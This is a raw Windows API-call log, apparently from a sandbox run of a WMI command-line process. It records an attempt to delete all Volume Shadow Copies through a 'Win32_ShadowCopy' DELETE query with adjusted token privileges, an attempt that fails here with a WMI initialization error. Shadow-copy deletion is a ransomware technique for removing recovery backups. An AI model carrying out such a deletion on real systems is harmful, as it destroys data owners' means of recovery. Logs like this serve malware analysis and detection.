[0101.966] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0101.966] lstrlenW (lpString="(") returned 1 [0101.966] lstrlenW (lpString="DELETE") returned 6 [0101.966] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0101.966] lstrlenW (lpString="/") returned 1 [0101.966] lstrlenW (lpString="DELETE") returned 6 [0101.966] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0101.966] lstrlenW (lpString="-") returned 1 [0101.966] lstrlenW (lpString="DELETE") returned 6 [0101.966] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0101.966] malloc (_Size=0x18) returned 0x2a2eed2dfb0 [0101.966] lstrlenW (lpString="GET") returned 3 [0101.967] lstrlenW (lpString="DELETE") returned 6 [0101.967] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0101.967] lstrlenW (lpString="LIST") returned 4 [0101.967] lstrlenW (lpString="DELETE") returned 6 [0101.967] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0101.967] lstrlenW (lpString="SET") returned 3 [0101.967] lstrlenW (lpString="DELETE") returned 6 [0101.967] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0101.967] lstrlenW (lpString="CREATE") returned 6 [0101.967] lstrlenW (lpString="DELETE") returned 6 [0101.967] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0101.967] lstrlenW (lpString="CALL") returned 4 [0101.967] lstrlenW (lpString="DELETE") returned 6 [0101.967] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0101.967] lstrlenW (lpString="ASSOC") returned 5 [0101.967] lstrlenW (lpString="DELETE") returned 6 [0101.967] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0101.967] lstrlenW (lpString="DELETE") returned 6 [0101.967] lstrlenW (lpString="DELETE") returned 6 [0101.967] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0101.967] free (_Block=0x2a2eed2dfb0) [0101.968] lstrlenW (lpString="/") returned 1 [0101.968] lstrlenW (lpString="DELETE") returned 6 [0101.968] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0101.968] lstrlenW (lpString="-") returned 1 [0101.968] lstrlenW (lpString="DELETE") returned 6 [0101.968] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0101.968] lstrlenW (lpString="DELETE") returned 6 [0101.968] malloc (_Size=0xe) returned 0x2a2eed2dbf0 [0101.968] lstrlenW (lpString="DELETE") returned 6 [0101.968] lstrlenW (lpString="GET") returned 3 [0101.968] lstrlenW (lpString="DELETE") returned 6 [0101.968] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0101.968] lstrlenW (lpString="LIST") returned 4 [0101.968] lstrlenW (lpString="DELETE") returned 6 [0101.968] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0101.968] lstrlenW (lpString="SET") returned 3 [0101.968] lstrlenW (lpString="DELETE") returned 6 [0101.968] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0101.968] lstrlenW (lpString="CREATE") returned 6 [0101.968] lstrlenW (lpString="DELETE") returned 6 [0101.968] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0101.968] lstrlenW (lpString="CALL") returned 4 [0101.968] lstrlenW (lpString="DELETE") returned 6 [0101.968] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0101.968] lstrlenW (lpString="ASSOC") returned 5 [0101.968] lstrlenW (lpString="DELETE") returned 6 [0101.968] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0101.968] lstrlenW (lpString="DELETE") returned 6 [0101.968] lstrlenW (lpString="DELETE") returned 6 [0101.968] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0101.968] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0101.968] malloc (_Size=0x3e) returned 0x2a2eed2ed20 [0101.968] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0101.969] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff60 | out: _String="Select", _Context=0xffffffffffffff60) returned="Select" [0101.969] malloc (_Size=0x18) returned 0x2a2eed2dd50 [0101.969] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x65006c00650053 | out: _String=0x0, _Context=0x65006c00650053) returned="*" [0101.969] lstrlenW (lpString="FROM") returned 4 [0101.969] lstrlenW (lpString="*") returned 1 [0101.969] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0101.969] malloc (_Size=0x18) returned 0x2a2eed2dd70 [0101.969] free (_Block=0x2a2eed2dd50) [0101.969] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2a2eeca0db0*="\x01\x01" | out: _String=0x0, _Context=0x2a2eeca0db0*="\x01\x01") returned="from" [0101.969] lstrlenW (lpString="FROM") returned 4 [0101.969] lstrlenW (lpString="from") returned 4 [0101.969] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0101.969] malloc (_Size=0x18) returned 0x2a2eed2ded0 [0101.969] free (_Block=0x2a2eed2dd70) [0101.969] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2a2eeca0db0*="\x01\x01" | out: _String=0x0, _Context=0x2a2eeca0db0*="\x01\x01") returned="Win32_ShadowCopy" [0101.969] malloc (_Size=0x18) returned 0x2a2eed2dc70 [0101.969] free (_Block=0x2a2eed2ded0) [0101.969] free (_Block=0x2a2eed2ed20) [0101.970] free (_Block=0x2a2eed2dc70) [0101.970] lstrlenW (lpString="SET") returned 3 [0101.970] lstrlenW (lpString="DELETE") returned 6 [0101.970] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0101.970] lstrlenW (lpString="CREATE") returned 6 [0101.970] lstrlenW (lpString="DELETE") returned 6 [0101.970] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0101.970] free (_Block=0x2a2eed2dc50) [0101.970] malloc (_Size=0x8) returned 0x2a2eed2ed20 [0101.970] lstrlenW (lpString="GET") returned 3 [0101.970] lstrlenW (lpString="DELETE") returned 6 [0101.970] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0101.970] lstrlenW (lpString="LIST") returned 4 [0101.970] lstrlenW (lpString="DELETE") returned 6 [0101.970] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0101.970] lstrlenW (lpString="ASSOC") returned 5 [0101.970] lstrlenW (lpString="DELETE") returned 6 [0101.970] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0101.970] WbemLocator:IUnknown:AddRef (This=0x2a2eedcc190) returned 0x3 [0101.970] free (_Block=0x2a2eed25cd0) [0101.970] lstrlenW (lpString="") returned 0 [0101.970] lstrlenW (lpString="NQDPDE") returned 6 [0101.970] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0101.970] lstrlenW (lpString="NQDPDE") returned 6 [0101.970] malloc (_Size=0xe) returned 0x2a2eed2dcf0 [0101.971] lstrlenW (lpString="NQDPDE") returned 6 [0101.971] GetCurrentThreadId () returned 0xf30 [0101.971] GetCurrentProcess () returned 0xffffffffffffffff [0101.971] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0xadcc10f360 | out: TokenHandle=0xadcc10f360*=0x2ac) returned 1 [0101.971] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xadcc10f358 | out: TokenInformation=0x0, ReturnLength=0xadcc10f358) returned 0 [0101.971] malloc (_Size=0x118) returned 0x2a2eed2ed40 [0101.971] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x3, TokenInformation=0x2a2eed2ed40, TokenInformationLength=0x118, ReturnLength=0xadcc10f358 | out: TokenInformation=0x2a2eed2ed40, ReturnLength=0xadcc10f358) returned 1 [0101.971] AdjustTokenPrivileges (in: TokenHandle=0x2ac, DisableAllPrivileges=0, NewState=0x2a2eed2ed40*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=1347520665, Attributes=0xcbf), (Luid.LowPart=0x2a2, Luid.HighPart=-288203568, Attributes=0x2a2), (Luid.LowPart=0x22, Luid.HighPart=352321557, Attributes=0xca8), (Luid.LowPart=0x2a2, Luid.HighPart=-288226992, Attributes=0x2a2), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0101.971] free (_Block=0x2a2eed2ed40) [0101.971] CloseHandle (hObject=0x2ac) returned 1 [0101.971] lstrlenW (lpString="GET") returned 3 [0101.971] lstrlenW (lpString="DELETE") returned 6 [0101.971] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0101.971] lstrlenW (lpString="LIST") returned 4 [0101.971] lstrlenW (lpString="DELETE") returned 6 [0101.971] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0101.971] lstrlenW (lpString="SET") returned 3 [0101.971] lstrlenW (lpString="DELETE") returned 6 [0101.971] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0101.971] lstrlenW (lpString="CALL") returned 4 [0101.971] lstrlenW (lpString="DELETE") returned 6 [0101.972] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0101.972] lstrlenW (lpString="ASSOC") returned 5 [0101.972] lstrlenW (lpString="DELETE") returned 6 [0101.972] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0101.972] lstrlenW (lpString="CREATE") returned 6 [0101.972] lstrlenW (lpString="DELETE") returned 6 [0101.972] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0101.972] lstrlenW (lpString="DELETE") returned 6 [0101.972] lstrlenW (lpString="DELETE") returned 6 [0101.972] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0101.972] malloc (_Size=0x18) returned 0x2a2eed2de30 [0101.972] lstrlenA (lpString="") returned 0 [0101.972] malloc (_Size=0x2) returned 0x2a2eed25cd0 [0101.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff7769ac40c, cbMultiByte=-1, lpWideCharStr=0x2a2eed25cd0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0101.972] free (_Block=0x2a2eed25cd0) [0101.972] malloc (_Size=0x18) returned 0x2a2eed2de50 [0101.972] lstrlenA (lpString="") returned 0 [0101.972] malloc (_Size=0x2) returned 0x2a2eed25cd0 [0101.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff7769ac40c, cbMultiByte=-1, lpWideCharStr=0x2a2eed25cd0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0101.972] free (_Block=0x2a2eed25cd0) [0101.972] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0101.972] malloc (_Size=0x3e) returned 0x2a2eed2ed40 [0101.973] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0101.973] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff40 | out: _String="Select", _Context=0xffffffffffffff40) returned="Select" [0101.973] malloc (_Size=0x18) returned 0x2a2eed2dc70 [0101.973] free (_Block=0x2a2eed2de50) [0101.973] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2a2eeca0db0*="\x01\x01" | out: _String=0x0, _Context=0x2a2eeca0db0*="\x01\x01") returned="*" [0101.973] lstrlenW (lpString="FROM") returned 4 [0101.973] lstrlenW (lpString="*") returned 1 [0101.973] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0101.973] malloc (_Size=0x18) returned 0x2a2eed2dd50 [0101.973] free (_Block=0x2a2eed2dc70) [0101.973] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2a2eeca0db0*="\x01\x01" | out: _String=0x0, _Context=0x2a2eeca0db0*="\x01\x01") returned="from" [0101.973] lstrlenW (lpString="FROM") returned 4 [0101.973] lstrlenW (lpString="from") returned 4 [0101.973] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0101.973] malloc (_Size=0x18) returned 0x2a2eed2da30 [0101.973] free (_Block=0x2a2eed2dd50) [0101.973] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2a2eeca0db0*="\x01\x01" | out: _String=0x0, _Context=0x2a2eeca0db0*="\x01\x01") returned="Win32_ShadowCopy" [0101.973] malloc (_Size=0x18) returned 0x2a2eed2ded0 [0101.974] free (_Block=0x2a2eed2da30) [0101.974] free (_Block=0x2a2eed2ed40) [0101.974] malloc (_Size=0x18) returned 0x2a2eed2dff0 [0101.974] malloc (_Size=0x18) returned 0x2a2eed2da30 [0101.974] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0101.974] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0101.974] free (_Block=0x2a2eed2de30) [0101.974] free (_Block=0x2a2eed2dff0) [0102.021] ??0CHString@@QEAA@XZ () returned 0xadcc10f2d0 [0102.022] GetCurrentThreadId () returned 0xf30 [0102.022] malloc (_Size=0x18) returned 0x2a2eed2dfb0 [0102.022] malloc (_Size=0x18) returned 0x2a2eed2dc10 [0102.022] malloc (_Size=0x18) returned 0x2a2eed2dc30 [0102.022] malloc (_Size=0x18) returned 0x2a2eed2dc50 [0102.022] malloc (_Size=0x18) returned 0x2a2eed2df50 [0102.022] SysStringLen (param_1="\\\\") returned 0x2 [0102.022] SysStringLen (param_1="NQDPDE") returned 0x6 [0102.022] malloc (_Size=0x18) returned 0x2a2eed2de30 [0102.022] SysStringLen (param_1="\\\\NQDPDE") returned 0x8 [0102.022] SysStringLen (param_1="\\") returned 0x1 [0102.022] malloc (_Size=0x18) returned 0x2a2eed2db50 [0102.022] SysStringLen (param_1="\\\\NQDPDE\\") returned 0x9 [0102.022] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0102.022] free (_Block=0x2a2eed2de30) [0102.022] free (_Block=0x2a2eed2df50) [0102.022] free (_Block=0x2a2eed2dc50) [0102.023] free (_Block=0x2a2eed2dc30) [0102.023] free (_Block=0x2a2eed2dc10) [0102.023] free (_Block=0x2a2eed2dfb0) [0102.023] malloc (_Size=0x18) returned 0x2a2eed2e0d0 [0102.023] malloc (_Size=0x18) returned 0x2a2eed2dc50 [0102.023] malloc (_Size=0x18) returned 0x2a2eed2dd70 [0102.023] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2a2eedcc190, strNetworkResource="\\\\NQDPDE\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff7769c78d0 | out: ppNamespace=0x7ff7769c78d0*=0x2a2eee26680) returned 0x0 [0102.064] free (_Block=0x2a2eed2dd70) [0102.064] free (_Block=0x2a2eed2dc50) [0102.064] free (_Block=0x2a2eed2e0d0) [0102.064] CoSetProxyBlanket (pProxy=0x2a2eee26680, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0102.064] free (_Block=0x2a2eed2db50) [0102.064] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0102.064] ??0CHString@@QEAA@XZ () returned 0xadcc10f210 [0102.064] GetCurrentThreadId () returned 0xf30 [0102.064] malloc (_Size=0x18) returned 0x2a2eed2ddd0 [0102.064] lstrlenA (lpString="") returned 0 [0102.064] malloc (_Size=0x2) returned 0x2a2eed25cd0 [0102.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff7769ac40c, cbMultiByte=-1, lpWideCharStr=0x2a2eed25cd0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0102.064] free (_Block=0x2a2eed25cd0) [0102.064] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0102.065] SysStringLen (param_1="") returned 0x0 [0102.065] free (_Block=0x2a2eed2ddd0) [0102.065] malloc (_Size=0x18) returned 0x2a2eed2de90 [0102.065] IWbemServices:ExecQuery (in: This=0x2a2eee26680, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0xadcc10f220 | out: ppEnum=0xadcc10f220*=0x0) returned 0x80041014 [0103.048] free (_Block=0x2a2eed2de90) [0103.048] _CxxThrowException () [0103.049] malloc (_Size=0x20) returned 0x2a2eed2ed40 [0103.049] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0103.049] free (_Block=0x2a2eed2ded0) [0103.049] free (_Block=0x2a2eed2da30) [0103.050] GetCurrentThreadId () returned 0xf30 [0103.050] ??0CHString@@QEAA@PEBG@Z () returned 0xadcc10f408 [0103.050] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xadcc10f408 [0103.050] ??0CHString@@QEAA@XZ () returned 0xadcc10f1b0 [0103.050] malloc (_Size=0x18) returned 0x2a2eed2df50 [0103.050] malloc (_Size=0x18) returned 0x2a2eed2db50 [0103.050] SysStringLen (param_1="") returned 0x0 [0103.050] free (_Block=0x2a2eed2df50) [0103.050] CoCreateInstance (in: rclsid=0x7ff7769b05a8*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff7769b05b8*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x7ff7769c78f8 | out: ppv=0x7ff7769c78f8*=0x2a2eee0e0c0) returned 0x0 [0103.054] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x2a2eee0e0c0, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0xadcc10f1a8 | out: MessageText=0xadcc10f1a8*="Initialization failure\r\n") returned 0x0 [0103.396] free (_Block=0x2a2eed2db50) [0103.396] malloc (_Size=0x18) returned 0x2a2eed2dc10 [0103.397] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x2a2eee0e0c0, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0xadcc10f1a0 | out: MessageText=0xadcc10f1a0*="WMI") returned 0x0 [0103.428] malloc (_Size=0x18) returned 0x2a2eed2ddb0 [0103.428] lstrlenW (lpString="WMI") returned 3 [0103.428] lstrlenW (lpString="Wbem") returned 4 [0103.428] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0103.428] lstrlenW (lpString="WMI") returned 3 [0103.428] lstrlenW (lpString="WMI") returned 3 [0103.428] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0103.428] WbemStatusCodeText:IUnknown:Release (This=0x2a2eee0e0c0) returned 0x0 [0103.428] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0103.428] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0xadcc10ea10, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0103.429] FormatMessageW (in: dwFlags=0x2500, lpSource=0xadcc10ea10, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0xadcc10e9e0, nSize=0x0, Arguments=0xadcc10e9e8 | out: lpBuffer="\xcc90\xeee2\x2a2") returned 0x2e [0103.429] malloc (_Size=0x18) returned 0x2a2eed2db50 [0103.429] LocalFree (hMem=0x2a2eee2cc90) returned 0x0 [0103.429] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0103.429] malloc (_Size=0x2f) returned 0x2a2eed2a8d0 [0103.429] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x2a2eed2a8d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0103.429] __iob_func () returned 0x7ff931acea00 [0103.429] fprintf (in: _File=0x7ff931acea60, _Format="%s" | out: _File=0x7ff931acea60) returned 46 [0103.481] __iob_func () returned 0x7ff931acea00 [0103.481] fflush (in: _File=0x7ff931acea60 | out: _File=0x7ff931acea60) returned 0 [0103.481] free (_Block=0x2a2eed2a8d0) [0103.481] free (_Block=0x2a2eed2db50) [0103.481] free (_Block=0x2a2eed2ddb0) [0103.481] free (_Block=0x2a2eed2dc10) [0103.481] ??1CHString@@QEAA@XZ () returned 0x1 [0103.481] ??0CHString@@QEAA@PEBG@Z () returned 0xadcc10f3f0 [0103.481] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xadcc10f3f0 [0103.481] GetCurrentThreadId () returned 0xf30 [0103.481] ??1CHString@@QEAA@XZ () returned 0x1 [0103.481] WbemLocator:IUnknown:Release (This=0x2a2eee26680) returned 0x0 [0103.481] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0103.481] free (_Block=0x2a2eed2ed40) [0103.482] _kbhit () returned 0x0 [0103.551] free (_Block=0x2a2eed2ed20) [0103.551] free (_Block=0x2a2eed2da50) [0103.551] free (_Block=0x2a2eed2d9d0) [0103.551] free (_Block=0x2a2eed2e150) [0103.551] free (_Block=0x2a2eed2d9f0) [0103.551] free (_Block=0x2a2eed26150) [0103.551] free (_Block=0x2a2eed2dad0) [0103.551] free (_Block=0x2a2eed2aa50) [0103.551] free (_Block=0x2a2eed2dbf0) [0103.551] free (_Block=0x2a2eed2ec80) [0103.551] free (_Block=0x2a2eed2dbd0) [0103.551] free (_Block=0x2a2eed2dd10) [0103.551] free (_Block=0x2a2eed2ed00) [0103.551] free (_Block=0x2a2eed26100) [0103.551] free (_Block=0x2a2eed2ecd0) [0103.551] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0103.551] free (_Block=0x2a2eed2e190) [0103.551] free (_Block=0x2a2eed2dbb0) [0103.551] free (_Block=0x2a2eed2da10) [0103.551] free (_Block=0x2a2eed25bb0) [0103.551] free (_Block=0x2a2eed25c00) [0103.551] free (_Block=0x2a2eed25c50) [0103.551] free (_Block=0x2a2eed2dcf0) [0103.551] free (_Block=0x2a2eed25d20) [0103.551] free (_Block=0x2a2eed260e0) [0103.552] free (_Block=0x2a2eed2a590) [0103.552] free (_Block=0x2a2eed260c0) [0103.552] free (_Block=0x2a2eed2a9d0) [0103.552] free (_Block=0x2a2eed26060) [0103.552] free (_Block=0x2a2eed26080) [0103.552] free (_Block=0x2a2eed25f40) [0103.552] free (_Block=0x2a2eed25f60) [0103.552] free (_Block=0x2a2eed25ee0) [0103.552] free (_Block=0x2a2eed25f00) [0103.552] free (_Block=0x2a2eed25fa0) [0103.552] free (_Block=0x2a2eed25fc0) [0103.552] free (_Block=0x2a2eed26000) [0103.552] free (_Block=0x2a2eed26020) [0103.552] free (_Block=0x2a2eed25e20) [0103.552] free (_Block=0x2a2eed25e40) [0103.552] free (_Block=0x2a2eed25dc0) [0103.552] free (_Block=0x2a2eed25de0) [0103.552] free (_Block=0x2a2eed25e80) [0103.552] free (_Block=0x2a2eed25ea0) [0103.552] free (_Block=0x2a2eed25d60) [0103.552] free (_Block=0x2a2eed25d80) [0103.552] free (_Block=0x2a2eed25cf0) [0103.552] free (_Block=0x2a2eed25ca0) [0103.552] free (_Block=0x2a2eed2b560) [0103.552] WbemLocator:IUnknown:Release (This=0x2a2eedcc190) returned 0x2 [0103.553] WbemLocator:IUnknown:Release (This=0x2a2eee269e0) returned 0x0 [0103.553] WbemLocator:IUnknown:Release (This=0x2a2eee26170) returned 0x0 [0103.635] WbemLocator:IUnknown:Release (This=0x2a2eedcc190) returned 0x1 [0103.635] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0103.635] WbemLocator:IUnknown:Release (This=0x2a2eedcc190) returned 0x0 [0103.635] free (_Block=0x2a2eed2e010) [0103.635] free (_Block=0x2a2eed2ddf0) [0103.635] free (_Block=0x2a2eed2aa10) [0103.635] free (_Block=0x2a2eed2df10) [0103.635] free (_Block=0x2a2eed2e130) [0103.635] free (_Block=0x2a2eed2acd0) [0103.635] free (_Block=0x2a2eed2b2c0) [0103.635] free (_Block=0x2a2eed2b3e0) [0103.636] free (_Block=0x2a2eed2aa90) [0103.636] free (_Block=0x2a2eed2db10) [0103.636] free (_Block=0x2a2eed2df30) [0103.636] free (_Block=0x2a2eed2aad0) [0103.636] free (_Block=0x2a2eed2b3c0) [0103.636] free (_Block=0x2a2eed2b240) [0103.636] free (_Block=0x2a2eed2a910) [0103.636] free (_Block=0x2a2eed2b280) [0103.636] free (_Block=0x2a2eed2b2a0) [0103.636] free (_Block=0x2a2eed2abd0) [0103.636] free (_Block=0x2a2eed2dd30) [0103.636] free (_Block=0x2a2eed2def0) [0103.636] free (_Block=0x2a2eed2a790) [0103.636] free (_Block=0x2a2eed2df90) [0103.636] free (_Block=0x2a2eed2dd90) [0103.636] free (_Block=0x2a2eed2a810) [0103.636] free (_Block=0x2a2eed2b1a0) [0103.637] 